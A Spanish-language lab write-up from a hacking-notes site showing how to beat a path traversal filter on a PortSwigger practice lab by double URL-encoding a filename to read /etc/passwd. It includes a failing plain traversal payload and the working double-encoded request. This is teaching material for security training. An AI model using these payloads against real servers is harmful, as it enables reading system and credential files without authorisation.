> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/path-traversal/path-traversal-bypass-via-double-url-decoding.md).
# Bypass de traversal de ruta mediante doble decodificación URL
Notas sobre Bypass de traversal de ruta mediante doble decodificación URL para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.
### Recorrido de rutas de archivos, secuencias de recorrido eliminadas con una decodificación URL superflua
Este laboratorio presenta una vulnerabilidad de recorrido de rutas al mostrar las imágenes generadas. / La aplicación bloquea las secuencias de recorrido en el nombre de archivo proporcionado por el usuario, luego aplica una decodificación URL adicional antes de usar este valor.
El objetivo es leer el contenido de `/etc/passwd` .
Se comprueba que la siguiente carga estándar no funciona:
```bash
../../../../../etc/paswd
```
Para eludir este filtro, una técnica consiste en **codificar la URL dos veces** y enviarla en el `filename` parámetro del `/image` extremo:
{% code overflow="wrap" %}
```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```
{% endcode %}
---
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